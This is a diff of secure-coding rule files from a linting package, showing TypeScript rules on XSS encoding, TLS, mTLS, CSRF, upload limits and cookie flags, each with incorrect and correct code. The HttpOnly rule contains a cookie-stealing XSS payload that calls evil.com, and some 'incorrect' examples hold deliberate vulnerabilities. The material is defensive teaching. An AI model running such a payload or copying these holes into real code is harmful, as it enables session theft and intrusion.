- package/skill-assets/sunlint-code-quality/rules/php/S058-ssrf-protection.md +65 -0
- package/skill-assets/sunlint-code-quality/rules/python/C006-verb-noun-functions.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/python/C013-no-dead-code.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/python/C014-dependency-injection.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/python/C017-no-constructor-logic.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/python/C018-generic-errors.md +25 -0
- package/skill-assets/sunlint-code-quality/rules/python/C019-error-log-level.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/python/C020-no-unused-imports.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/python/C022-no-unused-variables.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/python/C023-no-duplicate-names.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/python/C024-centralize-constants.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/python/C029-catch-log-root-cause.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/python/C030-custom-error-classes.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/python/C033-separate-data-access.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/python/C035-error-context-logging.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/python/C041-no-hardcoded-secrets.md +23 -0
- package/skill-assets/sunlint-code-quality/rules/python/C042-boolean-naming.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/python/C052-controller-parsing.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/python/C060-superclass-logic.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/python/C067-no-hardcoded-config.md +22 -0
- package/skill-assets/sunlint-code-quality/rules/python/S003-open-redirect.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S004-no-log-credentials.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S005-server-authorization.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S006-default-credentials.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S007-output-encoding.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S009-approved-crypto.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S010-csprng.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S011-encrypted-client-hello.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S012-secrets-management.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S013-tls-connections.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S016-no-sensitive-query-string.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S017-parameterized-queries.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/python/S019-email-input-sanitization.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S020-eval-code-execution.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/python/S022-context-escaping.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S023-dynamic-js-encoding.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S025-server-validation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S026-tls-encryption.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S027-mtls-validation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S028-upload-limits.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S029-csrf-protection.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S030-directory-browsing.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S031-secure-cookie-flag.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S032-httponly-cookie.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S033-samesite-cookie.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S034-host-prefix-cookie.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S035-app-hostnames.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S036-internal-file-paths.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/python/S037-anti-cache-headers.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S039-tls-certificate-validation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S041-logout-invalidation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S042-long-lived-sessions.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S044-critical-changes-reauth.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S045-brute-force-protection.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S047-oauth-csrf-protection.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S048-oauth-redirect-validation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S049-auth-code-expiry.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S050-token-entropy.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S051-password-length.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S052-otp-entropy.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S053-generic-error-messages.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S054-no-default-admin.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S055-content-type-validation.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S056-log-injection.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S057-synchronized-time.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/python/S058-ssrf-protection.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C006-verb-noun-functions.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C013-no-dead-code.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C014-dependency-injection.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C017-no-constructor-logic.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C018-generic-errors.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C019-error-log-level.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C020-no-unused-imports.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C022-no-unused-variables.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C023-no-duplicate-names.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C024-centralize-constants.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C029-catch-log-root-cause.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C030-custom-error-classes.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C033-separate-data-access.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C035-error-context-logging.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C041-no-hardcoded-secrets.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C042-boolean-naming.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C052-controller-parsing.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C060-superclass-logic.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/C067-no-hardcoded-config.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S003-open-redirect.md +76 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S004-no-log-credentials.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S005-server-authorization.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S006-default-credentials.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S007-output-encoding.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S009-approved-crypto.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S010-csprng.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S011-encrypted-client-hello.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S012-secrets-management.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S013-tls-connections.md +70 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S016-no-sensitive-query-string.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S017-parameterized-queries.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S019-email-input-sanitization.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S020-eval-code-execution.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S022-context-escaping.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S023-dynamic-js-encoding.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S025-server-validation.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S026-tls-encryption.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S027-mtls-validation.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S028-upload-limits.md +65 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S029-csrf-protection.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S030-directory-browsing.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S031-secure-cookie-flag.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S032-httponly-cookie.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S033-samesite-cookie.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S034-host-prefix-cookie.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S035-app-hostnames.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S036-internal-file-paths.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S037-anti-cache-headers.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S039-tls-certificate-validation.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S041-logout-invalidation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S042-long-lived-sessions.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S044-critical-changes-reauth.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S045-brute-force-protection.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S047-oauth-csrf-protection.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S048-oauth-redirect-validation.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S049-auth-code-expiry.md +73 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S050-token-entropy.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S051-password-length.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S052-otp-entropy.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S053-generic-error-messages.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S054-no-default-admin.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S055-content-type-validation.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S056-log-injection.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S057-synchronized-time.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/typescript/S058-ssrf-protection.md +63 -0
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Output Encoding For Dynamic JS/JSON
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents injection in JavaScript contexts
|
|
5
|
+
tags: xss, javascript, json, encoding, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Output Encoding For Dynamic JS/JSON
|
|
9
|
+
|
|
10
|
+
Embedding user data in JavaScript or JSON requires proper encoding to prevent code injection.
|
|
11
|
+
|
|
12
|
+
**Incorrect (unescaped data in JS):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// XSS in inline script
|
|
16
|
+
app.get('/profile', (req, res) => {
|
|
17
|
+
const username = req.user.name; // "</script><script>alert('xss')"
|
|
18
|
+
res.send(`<script>var user = "${username}";</script>`);
|
|
19
|
+
});
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (proper JSON encoding):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
app.get('/profile', (req, res) => {
|
|
26
|
+
const userData = {
|
|
27
|
+
name: req.user.name,
|
|
28
|
+
email: req.user.email
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
// JSON.stringify properly escapes special characters
|
|
32
|
+
const safeData = JSON.stringify(userData);
|
|
33
|
+
|
|
34
|
+
res.send(`
|
|
35
|
+
<script>
|
|
36
|
+
var user = ${safeData};
|
|
37
|
+
</script>
|
|
38
|
+
`);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
// For React/Next.js - pass via props
|
|
42
|
+
<script
|
|
43
|
+
dangerouslySetInnerHTML={{
|
|
44
|
+
__html: `window.__INITIAL_DATA__ = ${JSON.stringify(data)}`
|
|
45
|
+
}}
|
|
46
|
+
/>
|
|
47
|
+
|
|
48
|
+
// Better: use data attributes
|
|
49
|
+
<div id="app" data-user={JSON.stringify(user)}></div>
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**Tools:** ESLint, SonarQube, Manual Review
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Always Validate Client Data Server-side
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures input validation cannot be bypassed
|
|
5
|
+
tags: validation, server-side, input, sanitization, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Always Validate Client Data Server-side
|
|
9
|
+
|
|
10
|
+
Client-side validation is for UX only - it can be bypassed easily. All input must be validated server-side.
|
|
11
|
+
|
|
12
|
+
**Incorrect (trusting client validation):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// No server validation - trusting frontend
|
|
16
|
+
app.post('/transfer', async (req, res) => {
|
|
17
|
+
const { amount, toAccount } = req.body;
|
|
18
|
+
await transferMoney(req.user.id, toAccount, amount);
|
|
19
|
+
res.json({ success: true });
|
|
20
|
+
});
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (comprehensive server validation):**
|
|
24
|
+
|
|
25
|
+
```typescript
|
|
26
|
+
import { z } from 'zod';
|
|
27
|
+
|
|
28
|
+
const transferSchema = z.object({
|
|
29
|
+
amount: z.number().positive().max(10000),
|
|
30
|
+
toAccount: z.string().regex(/^[A-Z]{2}\d{18}$/) // IBAN format
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
app.post('/transfer', async (req, res) => {
|
|
34
|
+
// Validate everything server-side
|
|
35
|
+
const result = transferSchema.safeParse(req.body);
|
|
36
|
+
if (!result.success) {
|
|
37
|
+
return res.status(400).json({ errors: result.error.issues });
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const { amount, toAccount } = result.data;
|
|
41
|
+
|
|
42
|
+
// Additional business validation
|
|
43
|
+
const account = await findAccount(toAccount);
|
|
44
|
+
if (!account) {
|
|
45
|
+
return res.status(404).json({ error: 'Account not found' });
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
await transferMoney(req.user.id, toAccount, amount);
|
|
49
|
+
res.json({ success: true });
|
|
50
|
+
});
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Validation types:**
|
|
54
|
+
|
|
55
|
+
| Type | What to Check |
|
|
56
|
+
|------|---------------|
|
|
57
|
+
| Format | Email, phone, UUID, dates |
|
|
58
|
+
| Range | Min/max values, string length |
|
|
59
|
+
| Business | Account exists, permissions |
|
|
60
|
+
| Sanitization | Strip dangerous chars |
|
|
61
|
+
|
|
62
|
+
**Tools:** Zod, Joi, class-validator, SonarQube
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: TLS Encryption For All Connections
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: protects data in transit from interception
|
|
5
|
+
tags: tls, encryption, https, transport, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## TLS Encryption For All Connections
|
|
9
|
+
|
|
10
|
+
All network communications must use TLS to prevent eavesdropping and man-in-the-middle attacks.
|
|
11
|
+
|
|
12
|
+
**Incorrect (unencrypted connections):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// HTTP instead of HTTPS
|
|
16
|
+
fetch('http://api.example.com/data');
|
|
17
|
+
|
|
18
|
+
// Unencrypted database connection
|
|
19
|
+
mongoose.connect('mongodb://db.example.com/app');
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (TLS everywhere):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
// HTTPS for all external calls
|
|
26
|
+
fetch('https://api.example.com/data');
|
|
27
|
+
|
|
28
|
+
// TLS for database
|
|
29
|
+
mongoose.connect('mongodb://db.example.com/app', {
|
|
30
|
+
tls: true,
|
|
31
|
+
tlsCAFile: '/path/to/ca.pem'
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
// HSTS header to force HTTPS
|
|
35
|
+
app.use(helmet.hsts({
|
|
36
|
+
maxAge: 31536000,
|
|
37
|
+
includeSubDomains: true
|
|
38
|
+
}));
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
**Requirements:**
|
|
42
|
+
- All HTTP endpoints must redirect to HTTPS
|
|
43
|
+
- Database connections must use TLS
|
|
44
|
+
- Internal service-to-service calls must use TLS
|
|
45
|
+
- HSTS headers should be enabled
|
|
46
|
+
|
|
47
|
+
**Tools:** SSLyze, OWASP ZAP, Qualys SSL Labs
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Validate mTLS Certificates Before Auth
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: ensures mutual authentication between services
|
|
5
|
+
tags: mtls, certificates, authentication, service-mesh, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Validate mTLS Certificates Before Auth
|
|
9
|
+
|
|
10
|
+
Mutual TLS ensures both parties are authenticated. Always validate client certificates before processing requests.
|
|
11
|
+
|
|
12
|
+
**Incorrect (skipping certificate validation):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// Accepting any client certificate
|
|
16
|
+
const server = https.createServer({
|
|
17
|
+
requestCert: true,
|
|
18
|
+
rejectUnauthorized: false // DANGEROUS!
|
|
19
|
+
}, app);
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (proper mTLS validation):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
const server = https.createServer({
|
|
26
|
+
key: fs.readFileSync('server-key.pem'),
|
|
27
|
+
cert: fs.readFileSync('server-cert.pem'),
|
|
28
|
+
ca: fs.readFileSync('ca-cert.pem'),
|
|
29
|
+
requestCert: true,
|
|
30
|
+
rejectUnauthorized: true // Reject invalid certificates
|
|
31
|
+
}, app);
|
|
32
|
+
|
|
33
|
+
// Additional validation in middleware
|
|
34
|
+
app.use((req, res, next) => {
|
|
35
|
+
const cert = req.socket.getPeerCertificate();
|
|
36
|
+
|
|
37
|
+
if (!cert || !cert.subject) {
|
|
38
|
+
return res.status(401).json({ error: 'Client certificate required' });
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Validate certificate attributes
|
|
42
|
+
if (!allowedServices.includes(cert.subject.CN)) {
|
|
43
|
+
return res.status(403).json({ error: 'Service not authorized' });
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
next();
|
|
47
|
+
});
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Tools:** OpenSSL, Certificate Pinning, Service Mesh (Istio, Linkerd)
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Limit Upload File Size And Count
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents denial of service attacks
|
|
5
|
+
tags: upload, file-size, dos, limits, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Limit Upload File Size And Count
|
|
9
|
+
|
|
10
|
+
Unlimited uploads can exhaust disk space and memory, causing denial of service.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no limits):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// No size limit
|
|
16
|
+
app.post('/upload', upload.single('file'), handler);
|
|
17
|
+
|
|
18
|
+
// No file count limit
|
|
19
|
+
app.post('/upload', upload.array('files'), handler);
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (enforce limits):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
import multer from 'multer';
|
|
26
|
+
|
|
27
|
+
const upload = multer({
|
|
28
|
+
limits: {
|
|
29
|
+
fileSize: 5 * 1024 * 1024, // 5MB max
|
|
30
|
+
files: 5, // Max 5 files
|
|
31
|
+
fields: 10, // Max 10 form fields
|
|
32
|
+
},
|
|
33
|
+
fileFilter: (req, file, cb) => {
|
|
34
|
+
const allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
|
|
35
|
+
if (!allowedTypes.includes(file.mimetype)) {
|
|
36
|
+
return cb(new Error('Invalid file type'));
|
|
37
|
+
}
|
|
38
|
+
cb(null, true);
|
|
39
|
+
}
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
app.post('/upload',
|
|
43
|
+
upload.array('files', 5), // Max 5 files
|
|
44
|
+
(err, req, res, next) => {
|
|
45
|
+
if (err instanceof multer.MulterError) {
|
|
46
|
+
if (err.code === 'LIMIT_FILE_SIZE') {
|
|
47
|
+
return res.status(413).json({ error: 'File too large' });
|
|
48
|
+
}
|
|
49
|
+
if (err.code === 'LIMIT_FILE_COUNT') {
|
|
50
|
+
return res.status(400).json({ error: 'Too many files' });
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
next(err);
|
|
54
|
+
},
|
|
55
|
+
handler
|
|
56
|
+
);
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
**Recommended limits:**
|
|
60
|
+
- Images: 5-10MB
|
|
61
|
+
- Documents: 10-50MB
|
|
62
|
+
- Max files per request: 5-10
|
|
63
|
+
- Total storage per user: Configurable
|
|
64
|
+
|
|
65
|
+
**Tools:** Multer, Express file limits, NGINX limits
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Apply CSRF Protection
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cross-site request forgery attacks
|
|
5
|
+
tags: csrf, tokens, forms, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Apply CSRF Protection
|
|
9
|
+
|
|
10
|
+
CSRF attacks force authenticated users to perform unintended actions.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no CSRF protection):**
|
|
13
|
+
|
|
14
|
+
```html
|
|
15
|
+
<!-- No CSRF token - vulnerable -->
|
|
16
|
+
<form action="/transfer" method="POST">
|
|
17
|
+
<input name="amount" value="1000">
|
|
18
|
+
<button>Transfer</button>
|
|
19
|
+
</form>
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (CSRF protection):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
import csrf from 'csurf';
|
|
26
|
+
|
|
27
|
+
const csrfProtection = csrf({ cookie: true });
|
|
28
|
+
|
|
29
|
+
app.get('/transfer', csrfProtection, (req, res) => {
|
|
30
|
+
res.render('transfer', { csrfToken: req.csrfToken() });
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
app.post('/transfer', csrfProtection, (req, res) => {
|
|
34
|
+
// Token validated automatically
|
|
35
|
+
await processTransfer(req.body);
|
|
36
|
+
});
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
```html
|
|
40
|
+
<form action="/transfer" method="POST">
|
|
41
|
+
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
|
|
42
|
+
<input name="amount">
|
|
43
|
+
<button>Transfer</button>
|
|
44
|
+
</form>
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
```typescript
|
|
48
|
+
// SameSite cookies as additional protection
|
|
49
|
+
res.cookie('session', token, {
|
|
50
|
+
httpOnly: true,
|
|
51
|
+
secure: true,
|
|
52
|
+
sameSite: 'strict'
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
// For SPAs - use Bearer tokens
|
|
56
|
+
fetch('/api/transfer', {
|
|
57
|
+
method: 'POST',
|
|
58
|
+
headers: { 'Authorization': `Bearer ${token}` }
|
|
59
|
+
});
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
**Tools:** csurf, SameSite cookies, Bearer tokens
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Disable Directory Browsing
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents file enumeration
|
|
5
|
+
tags: directory, listing, file-exposure, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Disable Directory Browsing
|
|
9
|
+
|
|
10
|
+
Directory listing exposes file structure and potentially sensitive files.
|
|
11
|
+
|
|
12
|
+
**Incorrect (directory listing enabled):**
|
|
13
|
+
|
|
14
|
+
```javascript
|
|
15
|
+
// Express static with directory listing
|
|
16
|
+
app.use(express.static('public', { index: false }));
|
|
17
|
+
|
|
18
|
+
// NGINX default may allow listing
|
|
19
|
+
location /files/ {
|
|
20
|
+
autoindex on; // Allows listing!
|
|
21
|
+
}
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
**Correct (directory listing disabled):**
|
|
25
|
+
|
|
26
|
+
```javascript
|
|
27
|
+
// Express - no listing by default, but ensure index
|
|
28
|
+
app.use(express.static('public', {
|
|
29
|
+
index: 'index.html',
|
|
30
|
+
dotfiles: 'deny'
|
|
31
|
+
}));
|
|
32
|
+
|
|
33
|
+
// Custom 404 for missing files
|
|
34
|
+
app.use((req, res) => {
|
|
35
|
+
res.status(404).json({ error: 'Not found' });
|
|
36
|
+
});
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
```nginx
|
|
40
|
+
# NGINX - disable autoindex
|
|
41
|
+
location /files/ {
|
|
42
|
+
autoindex off;
|
|
43
|
+
try_files $uri $uri/ =404;
|
|
44
|
+
}
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
```apache
|
|
48
|
+
# Apache - disable in .htaccess
|
|
49
|
+
Options -Indexes
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**Tools:** Web server configuration, Security scan
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set Secure Flag On Session Cookies
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cookie theft over unencrypted connections
|
|
5
|
+
tags: cookies, secure, https, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set Secure Flag On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no Secure flag):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
res.cookie('session', token); // No flags!
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Correct (Secure flag set):**
|
|
19
|
+
|
|
20
|
+
```typescript
|
|
21
|
+
res.cookie('session', token, {
|
|
22
|
+
secure: true, // HTTPS only
|
|
23
|
+
httpOnly: true,
|
|
24
|
+
sameSite: 'strict'
|
|
25
|
+
});
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
**Production enforcement:**
|
|
29
|
+
|
|
30
|
+
```typescript
|
|
31
|
+
const isProduction = process.env.NODE_ENV === 'production';
|
|
32
|
+
|
|
33
|
+
app.use(session({
|
|
34
|
+
cookie: {
|
|
35
|
+
secure: isProduction, // Enforce in production
|
|
36
|
+
httpOnly: true,
|
|
37
|
+
sameSite: 'strict',
|
|
38
|
+
maxAge: 3600000
|
|
39
|
+
}
|
|
40
|
+
}));
|
|
41
|
+
|
|
42
|
+
// Fail if HTTPS not configured in production
|
|
43
|
+
if (isProduction && !process.env.HTTPS_ENABLED) {
|
|
44
|
+
throw new Error('HTTPS required in production');
|
|
45
|
+
}
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Tools:** helmet.js, Session libraries
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set HttpOnly On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents cookie theft via XSS
|
|
5
|
+
tags: cookies, httponly, xss, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set HttpOnly On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no HttpOnly):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
res.cookie('session', token); // Accessible via document.cookie
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Correct (HttpOnly set):**
|
|
19
|
+
|
|
20
|
+
```typescript
|
|
21
|
+
res.cookie('session', token, {
|
|
22
|
+
httpOnly: true, // Not accessible to JavaScript
|
|
23
|
+
secure: true,
|
|
24
|
+
sameSite: 'strict'
|
|
25
|
+
});
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
**XSS attack example (prevented by HttpOnly):**
|
|
29
|
+
|
|
30
|
+
```javascript
|
|
31
|
+
// Attacker's XSS payload (blocked by HttpOnly)
|
|
32
|
+
fetch('https://evil.com/steal?cookie=' + document.cookie);
|
|
33
|
+
// With HttpOnly, session cookie is NOT in document.cookie
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**Tools:** Browser DevTools, OWASP ZAP
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
